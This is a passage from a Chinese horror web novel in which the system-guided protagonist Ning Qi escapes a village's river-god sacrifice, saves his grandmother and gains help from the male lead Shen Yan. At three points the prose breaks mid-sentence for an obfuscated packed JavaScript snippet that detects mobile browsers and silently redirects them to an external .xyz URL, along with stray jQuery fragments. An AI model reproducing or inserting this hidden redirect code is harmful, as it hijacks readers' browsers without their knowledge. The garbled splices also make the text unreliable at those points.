此言一出,唐祖盛的面色骤变,转过身看向程建安时的眼神,如同一只盯上猎物的毒蝎子,带着锋利的冷光,阴辣狠戾。
旁观者的宁戚都不由屏住了呼吸。
“建安啊建安,你还是太天真,太年轻了。”
唐祖盛彻底蜕去了外人面前温和的表皮,嗓音带着彻骨的凉意:“你真以为你和我儿子在花轿上动的那点手脚,我不知道吗?”
程建安神色一怔,警惕地盯着面前人。
宁戚下意识侧头看了眼唐明宇,奇怪的是听到唐祖盛的话,唐明宇却一点震惊也没有,在他腹间蹭的手也没有停住,好像事不关己一样。
另一边,唐祖盛已经走到了程建安跟前,沉着眉宇不知道低声在他耳边说了什么。
程建安面上血色尽数退去,但刚刚面上那股倔强、愤怒和决绝已经消失了,取而代之的,是吐出一口气后的无奈,和眼底转瞬即逝的不安。
“…………刚才是我冒犯你了,唐族长。”
唐族长似乎这才满意,又恢复了往日亲和的模样,笑着拍了拍他的肩:“这才对嘛,保守秘密的人才能活得更长久。程简的事情是我给你的一个小教训,再有下次,可就没有这么简单了。”
程建安没吭声,只点了点头,随后就在唐祖盛的示意下转身开门离开了。
在程建安离开后,宁戚却清楚看到了唐祖盛眼底那股浓重的杀意。
随后不久,唐祖盛就喊了两个人进来,让他们随时盯着程建安的动向,这才终于迈步离开了祠堂。
等祠堂的前门一关上,宁戚立马手肘往后一顶,漂亮的眼睛瞪向身后的唐明宇。
“操!小傻子,你干什么?!”
宁戚心道:打死你个死流氓!
刚才趁着他不敢动,在他身上占尽了便宜,要不是宁戚今天的裤腰带勒的够紧,说不准这人的手都要往下三路去了。
在自家祠堂就敢这么不要脸!
唐明宇抚着小腹满头写满问号,这辈子除了他爹还没敢对他动手。
但火气才刚从心底冒出来,当面对上眼前这双漂亮清澈的眼睛时,心底那股火又骤然熄灭了。
虽然不知道这小傻子怎么突然生气了,但他生气起来却一点也不惹人厌烦,反而让人心痒。
如果不是时机不对,唐明宇一定不会在眼下这么轻易的放过他。
唐明宇带着宁戚顺利的离开唐家后,又把他带到了村尾一个三面环林的小木屋里。
随后,一个少年从屋内走了出来——是岳文。
唐明宇将宁戚带到岳文面前,交代他:“他就暂时先住你这,我明天再来找你们。”
岳文点点头说:“好。”
唐明宇又扭头盯着宁戚,像是索住了自己势在必得的猎物:“你奶奶的事情我会帮你想办法,但你这可就算欠我一个人情了,我会来找你的要的,明白吗?”
宁戚赶忙点了头,心内不耐得很,只想他快点走。
唐家那边今晚估计会因为他的消失乱一段时间了,所以唐明宇没说几句就急匆匆地离开了。
岳文则抬眼看向他,淡淡道:“和我进来吧。”
宁戚对岳文莫名的有好感,大概是因为他算是他们这些人里除了沈岩之外,唯一一个让他有安全感的人。
岳文家里很穷,家甚至比宁戚家还小,而且好像只住了他一个人。
岳文像是看出他的疑惑,解释说:“我家里人都死在了洪涝里,只剩我一个。”
岳文好像并没有拿他当傻子,漆黑的瞳孔定在他身上,满怀探究的说:“你是我见过第一个上了花轿还能回来的人。”
宁戚虽然能猜到嫁给河神这种幌子多半就是将人作为活祭品弄死,但闻言还是不免心惊。
他尽量维持人设地眨了眨眼,问:“嫁给河神不是好事吗?”
谁能想到岳文却笑了声,回道:“谁知道是神,还是鬼呢。”
这样的回答是宁戚第一次从别人口中听到,脊背一寒。岳文不再多说,扔给了他一个饼让他当晚饭吃,又给他单独收拾了一间房出来,就回自己房间拉灯睡觉了。
宁戚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088773|179621||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
被关了一天,唐家人只给了他几个馒头吃,现在还真是有些饿了,狼吞虎咽的吃完了那个饼。这饼意外的好吃,吃在嘴里有股淡淡的鲜花味。
尽管勉强饱腹,想到这两天的种种,宁戚还是有些睡不着,窗外一点风吹草动就能吓得他立马从床上蹦起来。
他的感知非常敏锐,宁戚总觉得,那只窥视他的眼睛一直没有消失。
宁戚看着天花板默默倒数时间:001啊001,你什么时候能回来?
在话音落下后没多久,脑子里就响起了一道机械音:【我在……】
宁戚:“!”
这是宁戚第一次听见001那冰冷无情的机械声觉得烦躁,含情脉脉的看着他骤然出现在他面前的蓝色小机器人:“001,看见你真好,真的。”
001yue了一声,怒道:【你不知道我和主神求了多久的情他老人家才大发慈悲提前给我解冻了!不过很高兴,我回来的时候你还活着。】
宁戚瘫在床上作躺尸状,生无可恋道:“………其实快死了。”
001化作流体蓝球状再宁戚面前晃来晃去,他的形态只有在宁戚绝对安全,还有没有外力压制的情况下才能显现现在宁戚面前,不过只有宁戚看得见。
001插着胖乎乎的腰,安慰着宁戚:“其实你已经算是这个副本里活得时间最长,任务进度最快的了。你要想想,你进入副本才过去三天而已。”
宁戚震撼的问:“那之前那些宿主……”
001说:“落地成盒。”
宁戚:“……”
001叹道:“几乎都死在了花轿上,不是被吓死,就是被副本同化了。”
宁戚找到了关键词:“你的意思是,我遇见的这些npc里面,可能有曾经的宿主?”
001点头说:“对,废弃副本里有很多被同化的宿主……不过你要是走狗屎运真的把任务完成了,这些宿主被困在这里的灵魂自然也就得以解放了。”
宁戚手枕在后面,翘着二郎腿,看着天花板思考了几秒,刚要再问001点事情,就见面前的小蓝球刷的消失在了自己面前。
“001?”
宁戚喊了好几声都听不到001的回答,忙翻身坐了起来。
不会……又来鬼了吧?
宁戚现在对001的消失有点ptsd了。
……不对,好像只有男主出现才会有这种情况?
反正睡不着,宁戚从床上爬起来,鼓起勇气打开了房间窗户,往外观察看有没有沈岩的身影。
然而望了一圈都只看到四周寂静的山林,他不由打了个寒战,抬手刚要把窗户关上,就骤然在黑暗中看到了一点荧光。
与此同时,他脖子上的挂坠也在衣服里骤然亮起来,将将他这一片都闪亮了。
是沈岩吧?
宁戚为了不吵醒岳文,选择移开窗户前碍事的桌子,翻窗而出。
那在他窗前徘徊的萤火虫见他出来,便缓慢地带着他往前飞,宁戚掏出了脖子里发着亮光的萤石,跟在萤火虫屁股后面往前走。
萤火虫一直领着他走进了山林,宁戚此刻却一点没有惧意了。
至少至今为止,在这个副本里,自带buff的男主带给他的安全感是无人能敌的。
萤火虫飞得缓慢,飞一段路还会围着宁戚绕一圈,似乎在看他有没有跟上,直到确认他跟上,再继续往前飞,很有灵性。
宁戚有些高兴,在它再一次绕着自己时,没忍住用手轻轻碰了下它发光的尾巴,小虫抖了抖尾巴,似乎有些不好意思,绕着宁戚又转了好几圈。
宁戚虽然听过萤火虫,但还是第一次看到真的萤火虫呢。
其实也没走过多久,山林就豁然开朗了。
绕过一颗粗壮的树后,宁戚就在山林中一片敞开的空地里,看到了站在月色下的颀长身影。
“沈岩?”
此刻看到沈岩,宁戚是真的高兴。
月色下的沈岩抬眸看向宁戚,只看到黯然森冷的山林里,带着那嫩绿萤火,朝他欣喜奔来的少年……
宁戚还没反应过来,就听到脑内“叮咚”一响——
【恭喜宿主,男主精神值上升至:5。】
8. 堕神(8)
系统冷冰冰的播报音响起的刹那,宁戚差点以为自己耳背了。
宁戚差点没把握住不断上扬的嘴角,但为了维持人设还是忍住了。
“你怎么现在过来了?”
宁戚并不仅仅是因为任务栏终于有了进度才开心。
和沈岩在一起,他总有种被主角光环所笼罩的安心感。
他现在坚信,只要抱紧男主这根粗壮的大腿,什么妖魔鬼怪都近不了他的身。
沈岩的眼神在他身上掠过,似乎在确定过什么,面露担忧地看着他:“我去你家找过你,栗子树下的小木屋,但没看到你,打听才知道你家里出了事。你现在还好吗?”
宁戚没想到沈岩居然去找过他,有些惊讶,又忙解释:“我没事,就是我奶奶在他们手里……”
沈岩眸色微暗,垂在身侧的手指蜷缩了一下,那原本粗粝的指尖幽幽冒出了一缕环绕的黑烟。
他盯着面前面露委屈的少年问:“需要我帮忙吗?”
宁戚当即摇了摇头,说:“算了,我会想到办法解决的……”
他现在有积分,代表着可以买道具,在不违背主线剧情走向的前提下用道具动点小手脚应该没关系,而且目前看来奶奶在剧情里面本也不是什么重要人物,应该不会对主线造成影响。
虽然沈岩是男主,现在的来历也还不太清楚,但宁戚总觉得现在就把他牵扯进来未必是好事。
沈岩指尖的黑烟悄然散去,抿着唇站在月光下一动不动的凝视着这双纯净无暇的眼。
宁戚瞅着天色,想到沈岩的家还在深林,忙道:“沈岩,你回家吧,天色太晚了。我也要回去了,等我这边的事情解决好,我会去找你的!”
沈岩却站在原地没有动,而是伸出手说:“你把萤石给我。”
宁戚仅是愣了下,就立马解下了脖颈上的萤石还给他。
这本来就是沈岩的东西,沈岩要要回去,他当然要还,之后他想找沈岩可以再想别的办法。
沈岩将萤石接过握在了手心里,却没有当即收起来。
正当宁戚疑惑时,就看到那萤石里面的蛊虫竟不知从萤石的哪里钻了出来,而后站在沈岩那密布青涩脉络的手腕上转圈,尾巴的光一闪一闪的,像是在呼唤着什么。
紧接着,另一颗通体漆黑,长得像小型天牛但却只有瓢虫大小的小虫从沈岩的袖口钻了出来,和小萤虫一起钻进了萤石里面。
沈岩合上手心,在宁戚惊讶好奇的眼神中用指腹抹了抹萤石光滑的表面,将萤石重新递给了他:“它们是我养大的蛊虫,不会伤人。遇到危险的时候你摸一摸萤石,黑色子虫会将信号传递给母虫,母虫在我这里,我可以收到你发出的信号,及时赶来找你。”
蛊虫宁戚从前只听过,没想到还有这种奇效,欣喜又好奇的捧着手中的萤石。从表面看,只能在黑暗的环境中看到点点荧光,看不到里面有虫子。
他很快意识到,有了这个石头,那岂不是他以后可以随时召唤沈岩了?
怎么感觉自己得到了一个巨大的buff,毕竟在副本里,男主是极其强大的存在啊。
“谢谢。”
宁戚弯了下唇,几乎要控制不住上扬的嘴角了。
沈岩说:“没关系,毕竟你是我在山林中交的第一个朋友。”
宁戚为表自己对和男主友情之珍重,认真说:“沈岩,你也是我在这里正式交到的第一个朋友。”
沈岩笑了笑,忽然自然地伸手拨了下他额前的碎发,幽深眸色清澈倒映着他的身影,在月光环绕下,衬得清俊少年眉眼温柔。
“嗯,我知道。”
宁戚捧着萤石离开后,沈岩久久站在原地,直到少年带着那抹光彻底消失在沉寂的森林中,那轮高挂在夜空的明月也渐渐被阴云所笼罩,折去了落在沈岩身上的所有光辉。
而伫立在原地的少年,只在叶片落下的刹那,转眼间进化为成熟男人的模样,身量高了许多,半边被诅咒过密布梵文的恐怖面容隐在黑暗里,只那双深邃沉寂的双眼带着股透骨的森冷。
这时,一道细长而扭曲的鬼影倏然出现在男人身后,发出尖细的嗓音:“你在他身上下了嗜魂蛊?”
“嗯。”
那鬼影咯咯笑起来,笑声回荡在林间,像乌鸦的哀鸣,那和沈岩差不多大小的鬼影少年笑道:“挺好,这样以后你就有人陪了。”
他的笑声仿佛某种奇怪的召唤,很快原本寂静而空灵的密林中,逐渐浮现大片大片瘆人的黑色鬼魅,如乌云压城,笼罩过深寂黑暗。
鬼魅们如同被吊住脖子,没有实体,呆滞地接受着中心领导者的召唤,而被鬼影围在中间的男人,就是这片山林主导的神明。
男人身边环绕的年轻鬼影说:“那些畜生不会放过他的,你再不动手,他可能要在你把他吃干净之前死一次了。”
下一瞬,沈岩的瞳孔骤然变为一种嗜血般的暗红,他扯起被暗纹绞痛的狰狞唇角,眼中却只见疯狂暴虐的杀意:“那就让他们先死一次吧。”
*
第二天的善水村是个阴雨天,明明昨晚明月如昼,繁星满天,结果太阳一升起,竟是阴云密布,天空逐渐下起淅沥的细雨,使得山间的路都变的泥泞难走。
宁戚醒来的时候,没在家里看到岳文,他又不敢贸然离开,只能待在岳文家里等消息。
好在不过半个小时,岳文就淋着雨跑了回来。
他面色不好,走近后,几番欲言又止,才告知了宁戚一个残忍的真相:“唐族长知道是唐明宇救走了你,把唐明宇关起来了。”
“善水村已经快一个月没有下雨,神婆昨晚观星占卜,说今天会下雨,果然下了小雨。神婆说如果河神的婚礼再不举行,马上雨就会下大。现在村长和唐族长已经开始新一轮的祭祀了。”
这代表着,又将有一个无辜的人作为祭品被选中抬到山上去。
宁戚的心骤然沉了下来,怎么也想不通怎么今天会下雨。
他问001:“我现在的积分综合,可以买的道具有哪些?”
001立马帮他筛选出了商店内他能买的起的所有东西。
兔子萌萌眼滤镜、火柴、手电筒、糯米、大蒜、手铐……
宁戚一头黑线,森然道:“……想我死直说。”
001说:【没办法,你现在的积分还是太少了,支线和主线进展也寥寥,任务进度栏才百分之五,开头就想买趁手的道具是不可能的事情,再攒攒吧孩子。】
宁戚:“……”
宁戚还没能从愤怒中回过神,岳文又告知了他一个更不好的消息:“你是逃掉的祭品,被村民称为不详的预兆,为了顺利选出下一个河神满意的祭品,他们会用和你有血缘关系之人的血慰问河神……”
宁戚心里一咯噔,意识到什么,倏然起身:“我去救奶奶!”
用活人的命去祭奠一个根本不知道存不存在的神,这和刽子手有什么区别?
宁戚虽然和副本里的奶奶相处不多,也没什么感情基础,但宿主原则之一——
扮演好你成为的每一个角色,哪怕他只是一个因为你而存在的皮套,你也要遵守世界规则,承担你这个身份本应该承担的责任。
不然就不能称之为一个合格的宿主。
出发前,岳文找了一双雨靴出来给他穿:“下雨,山间路滑。”
宁戚穿着居然正好,但岳文的个子比他要高差不多一个头,怎么也不像是和他穿一个码鞋子的人。
宁戚不由视线下移,看到岳文脚上踩的还是双陈旧的布满泥泞的布鞋。
宁戚忙问:“你呢?”
岳文淡淡道:“我走惯了山路,不习惯穿这个,而且这双鞋子是我之前的尺码,我穿不了。”
宁戚闻言,这才毫无心理负担的穿上,和岳文戴上斗笠,走进了山林,准备绕开村庄去村头看祭祀。
岳文脚程是真的很快,而且他走路很稳,宁戚即使穿着雨靴,走在这山路上都不免吃力,中间上坡还差点滑倒,得亏岳文眼疾手快一把攥住了他的手腕。他稍稍用力,就将宁戚从坡下提了上来。
宁戚有些感动,想到上一次在山林间他差点绊倒,好像也是岳文先对他施以援手。
“谢谢。”
岳文淡淡点头,收回手的同时不动声色的蜷缩了一下手指。
掌心下的皮肉温热细腻,手腕瘦小的仿佛他轻微用力就能攥断,太柔弱了。
岳文扭头,再次朝宁戚伸出掌心:“我牵你。”
宁戚点了点头,乖乖反手攥住了岳文,却没察觉到自己利落把手搭上去时,身前人那一刹僵硬的神情。
紧赶忙赶,他们总算是赶到了村头的送亲祭祀点。
头顶的雨打在斗笠上的声音越来越大,宁戚意识到——雨势在加大。
因为下雨,乌云压顶,正午时,天空却暗的像在黑夜。
或许也是因为如此,唐祖盛和村长才急不可耐的将祭祀礼提前,害怕雨势越来越大,从而再次引发十年前那场巨大洪水。
村头那颗经年雨蚀的石碑旁又被扎起了红色的大棚,大棚下亮着火光,村民们魔怔似的守在火堆旁边,附和着神婆的神叨。
火光映照着他们的眼底,明明一个个都是有着生命迹象的活人,看上去面色苍
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088774|179621||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
白,眼神麻木,嘴里囔囔着什么,画面分外诡异。
宁戚观察过后,在一众人群后看到奶奶被关在一个用竹篾和藤条编制而成的长方形笼子里面。
老人满头银发散乱着,嘴角满是涎水,浑浊的眼神瞪大,惊恐地拍打着笼子,却只能无力的从苍老的嗓子里发出幽灵般的无力求救:“放我出去,我要出去,不要杀我!河神大人,不要杀我……”
宁戚深吸口气,知道现在不是冲动的时候,勉强让自己冷静下来,观察局势。
他现在冲出去,只会被钉进花轿里再一次送上山,不仅救不了奶奶,很可能祖孙二人都被唐祖盛找个理由在这里葬送性命。
这些村民也都很听信唐祖盛的话,肯定不会出来阻拦。
岳文看出他的迫切和愤怒,沉声说:“他们不会现在就杀人,只会先在你奶奶身上取血用来祭祀,在选出新的祭品后,就会将她沉湖。我水性好,届时可以游进湖里把你奶奶救上来……”
这应该是一个很完美的计划,却被宁戚毫不犹豫的否决了,往常看起来柔弱又天真的少年,却紧绷着面容,肃然道:“不行,雨势在增大,河流有涨潮的风险,如果水流湍急,你会搭上自己的性命。”
岳文眸色中那汪黑沉的水荡了下,不由看向身侧的少年。
宁戚没有关心则乱,失去理智。
但或许是事态紧急,都快忘了在岳文面前继续维持那个小傻子的模样了。
真是比他想象的还要聪明和纯真。
宁戚对身侧的深沉凝视毫无所觉,因为他此刻在脑海里面001讨价还价:“我明明记得这个救生衣在我那里才卖10积分,为什么到这里要30积分?这不是存心坑我吗?!”
系统商店的救生衣,不是普通救生衣,可以有效的控制方向和水流,确保人在水中的安全。
宁戚不会水,但有这个救生衣的加持,就不用让岳文去为他冒这个险了,可他万万没想到,这个该死的在其他副本当中那样普通的一件救生衣,居然在这里买30?
不如去主神空间抢劫好了!
001委屈的对手指:【这是副本规则,我也没办法更改。而且上次因为我提前给你透露剧情,主神已经锁掉了我的个人权限,意思就是我没法再开放任何特权给你,包括在积分兑换道具这件事情上。】
宁戚恨得咬牙切齿,无能狂怒:“001,你以后再也没有资格喊我废物系统了!”
001:【……】
宁戚像头发怒竖毛的兽,两条眉毛紧紧皱起,攥着拳头盯着前方的祭祀典礼。
而祭祀典礼随着噼里啪啦的鞭炮响声已经正式开始,神婆在雨中,绕着红棚下的篝火跳着奇异诡谲的舞蹈。
随后,一个一身红衣的轿夫走到了关押着宁奶奶的猪笼前,狠攥住宁奶奶向外求救的手,下手就是一刀,割破了宁奶奶的手心。
宁戚攥了攥手心,打算溜到村民当中去想办法,等下下水救人的时候也不至于差了时机。
在村民们都全神贯注着祭祀礼,宁戚正要起身悄悄借着树木掩映往坡下溜去时,一只大手倏地绕到了他身前,一把捂住了嘴他的嘴,另一只手则紧箍住了他的腰。
宁戚诧异挣扎,呜呜反抗着,却难敌身后人身上的力量。
岳文嗓音异常低哑:“别冲动。”
他没冲动啊,他这不是觉得下去好想办法嘛,躲在山林里面等下意外横生都来不及下去救人了。
然而不知为什么这一刻的岳文仿佛铜墙铁壁,宁戚压根没有挣扎的余地,只能被他笼罩在怀抱,被迫继续目睹那场残忍祭祀。
取了血的轿夫将血碗恭敬地递给了神婆,神婆接过后端着那碗血就开始围着火念念有词。
下一秒,神婆扬手,将那满满一碗人血泼在了篝火里,随即掏出怀中铃铛,开始随着火苗晃动的方向挑选下一个祭品。
刺耳的摇铃声,和人群中那细密的恐惧呢喃结合在一起,在雨幕下形成分外和谐却诡谲的一幕。
宁戚只觉得雨幕、人群和篝火都在眼前扭曲、摇晃,狰狞着越来越遥远。
他忽然感到一阵令他难以呼吸的寒意,那寒意从后背窜至全身,使得他忘了挣扎,汗毛倒竖。
“轰隆——”
一道惨白闪电骤然撕破阴云,瞬间天地仿佛重返晴日白昼。
电光火石间,刺啦一声巨响从天边响起!
众目睽睽下,一道撕破天穹的闪电从天边劈下——
那摇晃着铃铛的神婆后仰倒地,突出的眼珠泛着缕缕黑气,望着乌压压的天空,死不瞑目!
雨势哗啦增大了。
9. 堕神(9)
神婆的死状凄惨,面目全非,大雨浇灌而下,让神婆被雷电焦透的皮肤散发出一种人肉烤熟的恶臭味。
“河神、河神发怒了!!!”
村民们大喊着,在大雨瓢泼而下的瞬间,扑通跪倒在地,头磕在河边黄土之上,惊惧求饶。
连一向神色自若地唐祖盛都跟着跪了下来,乞求河神宽恕。
“呕——”
宁戚虽然已经见过了各种鬼,但还是第一次看到真正的死人,闻到人肉熟透的味道,这对本来就害怕各种血腥的他,无疑冲击力惊人。
这时,一股清香自鼻尖传来,登时驱散了那股直冲天灵感的味道。
宁戚垂眸,看到了岳文放在自己鼻尖的一颗熏香,像是寺庙里的檀香味,悠然飘渺,熏陶心灵。
岳文松开了捂着他嘴的手,但另一只手仍箍在他腰间,面色凝重,他的头上戴着的斗笠也不知道什么时候掉了,黑发和面颊都被淋的泛白。
宁戚脑子混乱,一时间没想起来问这熏香是从哪来的,伸手捡过一旁的斗笠,赶忙往少年头上戴去。
岳文将熏香放在他手心,松开了紧箍着他的手,自己扶正了斗笠,慢慢从他身边退开,和之前一样蹲在了他身旁。
而宁戚惊魂未定,看着山坡下混乱的场景,呆呆问:“真的有河神吗?”
这道雷落得太玄乎了,单单只是鬼的话,真的能做到操控洪水和雷电吗?
鬼神经常被相提并论,但鬼和神却是云泥之别。
如果是神或许真能做到操控天干地支风雨雷电,但即使是神,也要看是什么神。而鬼的能力是有限的,如果说这个副本是单纯的惊悚本,那么也应该遵循传统鬼神观念。
自然法则和宇宙秩序都是由神灵掌控的,鬼是做不到的。
除非……这个副本里还有更厉害更令人害怕的东西存在。
宁戚登时出了一身鸡皮疙瘩。
简单的鬼还没搞清楚,又来一个很复杂而强大的……以他现在的能力,真的能活着走出去吗?
岳文的答案却普通无比:“巧合而已。”
宁戚闻言看了他一眼,但到底是没有再往下问。
暴雨已经转成了大暴雨,豆大的雨滴铺天盖地的打下来,宁戚的裸.露在外的手臂能感受到雨滴落下的重力,斗笠都被雨打的歪掉。
那些跪倒在地的村民们却一下一下坚持不懈地跪在善水河边磕头,请求河神宽恕。
阴雨天边却只见电闪雷鸣,传说的河神迟迟不见踪迹。
这时,远处一个穿着青布衣衫,白发苍苍垂落,面目沧桑的老人癫狂跑了过来,边跑边大喊着:“报应啊!这都是报应!是我们善水的报应啊!河神大人啊,请不要宽恕我们!一切都是我们的错!请不要宽恕我们!这都是我们应得的!因果报应!!”
宁戚刚想问001这是谁,就看到程建安和唐祖盛朝老人跑了过来。
程建安一把抓住老人的胳膊,面目狰狞:“爹!您怎么跑出来了?!什么报应不报应的!您快回去,别再给我们添乱了!看着老爷子的人呢?都是死的吗?!”
唐祖盛神色难辨,但宁戚清楚的从那阴鸷双眼中看到了锋利的冷意。
唐祖盛转身,在哗啦雨幕下,对村民们大喊道:“父老乡亲们!别怕!神只降雷劈死了神婆!说明神婆已经失去了神力,神才不满她!待到今晚夜幕降临之时,我将亲自请出净生道长,为我们举行完这次河神祭祀礼!”
“现在大家先回去吧,待到晚上才来!”
唐祖盛的话还是很有信服力的,惊慌失措的村民像找到了主心骨,立马四散离去,轿夫们抬着轿子离开。而唐祖盛也和程建安带着那个癫狂老人不知道去了那里。
没人再管那被困在猪笼中的痴傻老人。
等到人都走了,宁戚立马冲下坡,奔到红棚下,抬手要打开猪笼,手忙脚乱半天都没明白门在哪里。
“我来吧。”
岳文主动上前,三两下轻松找到按扣将笼门打开,宁戚将奶奶带了出来,为她理了下散乱斑白的鬓发。
老人目光呆滞,抬眸看着阴暗的天空,魔怔似的喃喃着:“河神、河神显灵了!善水村的祸终究还是来了……”
宁戚精神一振,任务意识占领高地,瞬间意识到宁奶奶可能知道些什么,立马追问:“奶奶,为什么这么说?是什么祸要来了?”
宁奶奶说:“十年造下的孽果……”
“神啊!这都是我们造下的孽果啊!!!”
宁奶奶的情绪忽然激动了起来,老人力气出奇的大,宁戚一时没有反应过来,被老人扬手挥开,紧接着老人竟直直往河岸边冲去!
雨势越来越大,现在河流湍急,要是宁奶奶真的掉了进去,后果将不堪设想。
“奶奶!”
宁戚立马追上去,然而身后人却以比他更快的速度,在宁奶奶即将冲向河岸的刹那,一把将老人拉了回来。
面对着滚滚的流水,老人像是从惊魂中回过了神,佝偻的身体颤抖了起来,被岳文往回带时也没有再挣扎。
“没事吧?!”
宁戚一张小脸已经被雨淋得苍白。
岳文眸色微暗,摇了摇头,只说:“把奶奶带去我家吧。”
宁戚忙道:“好。”
离开前,岳文在红棚下找到了一顶被人遗忘在这里的斗笠戴在老人头上。
将宁奶奶顺利带到岳文家后,宁戚心里有点着急了。
如果说十年前那场大洪涝真的会再来一次,那么他一定要在这场洪涝发生前把主线任务弄清楚,不然善水村都被淹了,他的任务地点被毁坏,不就意味着他任务失败了吗?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088775|179621||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
001也给了他肯定的回答:【是,这就是废弃副本可怕的地方,你的任务地点是固定的,随时可能会被超出副本的力量所摧毁,你必须在任务点被毁坏之前完成主线任务。】
听闻噩耗,已经被这个副本连续多次崩坏心态的宁戚已经冷静了许多。
深吸口气整理好纷乱心情后,宁戚转头对岳文说:“能麻烦你帮我看着我奶奶吗?我要出去一趟。”
岳文点点头说:“好。”
“岳文,今天麻烦你了,来日再谢。”
说完,宁戚刚要走,却被人从身后拉住。
他愕然回眸,却正正撞见岳文那双寒潭般深不见底的眼眸中。
岳文肃然看着他,淡淡陈述:“你不傻。”
宁戚抿了抿唇,点点头,面无表情开始编词:“其实我之前是有点傻的,但后来大概是被送到山上去,受了点惊吓,刺激下所以才……”
岳文却不再多问,像是刚刚拉住他就是为了说这么一句,而后就淡淡道:“你走吧,注意安全。”
宁戚也没功夫在这里和岳文解释很多,他不可能一直装傻,完成主线任务也是需要NPC帮助的。
宁戚在走向大雨的瞬间,身形就消失在了雨幕中。
他花五个积分买下了直通唐家门口的道具,唐家一定是这个副本的关键。
不完成任务他可能也会被这场洪水给淹死,与其这样,倒还不如冒着被npc刀死的风险奋力一搏,在这场未知的灾难到来前,尽快收集线索,尽最大努力完成任务。
道具将他传送到的是唐家的偏门,就是上次唐明宇带他逃出去的那扇偏门。
这会儿唐家好像没什么人,唐家的人估计都因为那道惊雷落下的事情还处在惊魂未定中,而且他们还要准备傍晚的祭祀,肯定没人特意跑到偏门来守着。
宁戚这点把握还是有的。
宁戚从旁边搬了几块砖头来踩着,手臂撑在矮墙上,露出半张脸向院子里张望,果然没有在偏门小院里看到人影。
他瞬间放了心,脚一蹬就爬了上去,但唐家的院墙这样往下望去还是挺高的。
宁戚寻思了一下这高度,应该不至于摔断腿,搬起腿向着里面的院墙就要往下跳。
“别跳。”
骤然响起的嗓音差点吓得宁戚手脚一滑,还好他的手本就紧攥着院墙边缘,及时撑住了身体。
宁戚愕然回眸,看到了正站在偏门低头不知道在捣鼓什么的沈岩。
然而沈岩没捣鼓几下,“咔嚓”一声,院门居然还真地开了!
沈岩一进门,就立马跑到院墙下,张开手面对着宁戚:“我接着你。”
宁戚愣了愣,怕周边来人,忙道:“好。”
说完,就蹬了蹬腿,屏着呼吸跳了下去,正好跳进沈岩的怀里。
10.堕神(10)
沈岩哼都没哼一声,只是往后踉跄了几下,便紧紧搂住他的腰帮他稳住身形后,把他稳稳放了下来。
宁戚迅速退开,看着面前头发和眉毛都被雨浸湿的少年,压低声音,疑惑道:“沈岩,我没摸萤石你怎么就来了?”
沈岩盯着宁戚被水浸得透亮的面颊,垂在身侧的手指微微蜷缩了下,敛眉说:“蛊虫感受到了你的不安,将你的情绪传达给了母虫,我就来了。”
似是看出宁戚的担忧,他说:“别怕,善水村人不认识我,不会费尽心思猜我是谁的。”
来都来了,宁戚也不能把沈岩赶走,而且沈岩的出现确实让他感到了一丝心安,他观察了下周围,低声和他认真交代:“那你一定要紧紧跟在我的身后,知道吗?”
沈岩紧抿着唇,乖巧的点了点头。
宁戚怕沈岩跟丢,主动拉住了沈岩的手往里走。
就在宁戚转身之际,脑海响起系统喜人的提示音——
【男主精神值提升至:10。】
宁戚心中一喜,连带攥着沈岩的手都不由自主紧了紧。
虽然升的不多,起码证明他不是在原地打转,还是有进度的。
宁戚无头苍蝇似的来道唐家,要想完完整整将唐家排查一遍是不可能的,只能先去求助于唐明宇。
唐明宇的房间并不那么难找,唐家也没有那些真正的高门大户大,要找人倒是轻而易举。宁戚很快就逐一排查,找到了唐明宇的房间。
唐明宇仍被禁足着,门口没人守,但上了锁。
好在宁戚不用另外花积分买万能锁了,因为身边就有一个万能锁。
到了唐明宇房间附近,宁戚鬼鬼祟祟地拉着沈岩在门栏后张望一圈,确定没有人看守后,才扭头问沈岩:“你会开那个房间的锁吗?”
沈岩顺着他指的方向看去,立马点点头,很是上道:“我去开。”
宁戚看沈岩的眼神就像在看一件至宝。
男主不比那些道具好用多了!
沈岩的手速异常快。一把沉重的铜锁,被他三下五除二的解开了,在门打开的刹那,宁戚连忙拉着沈岩闪身进了唐明宇的房间。
刚进门,宁戚疑惑唐明宇那么精的人怎么会真的乖乖被关在房间里,扭头就看到了被五花大绑在床上,嘴里还塞了布条的唐明宇。
看到进门的是他,唐明宇原本麻木黑沉的双眼立马瞪大,活像看到了救星,呜呜挣扎起来。
宁戚疾步走过去拿掉了他嘴里的布条,解开了绳索。
“我靠!小傻子,你怎么在这?我爹他们呢?!”
唐明宇满脸不可置信,神色复杂的看着他,估计以为宁戚是专门救他来了。
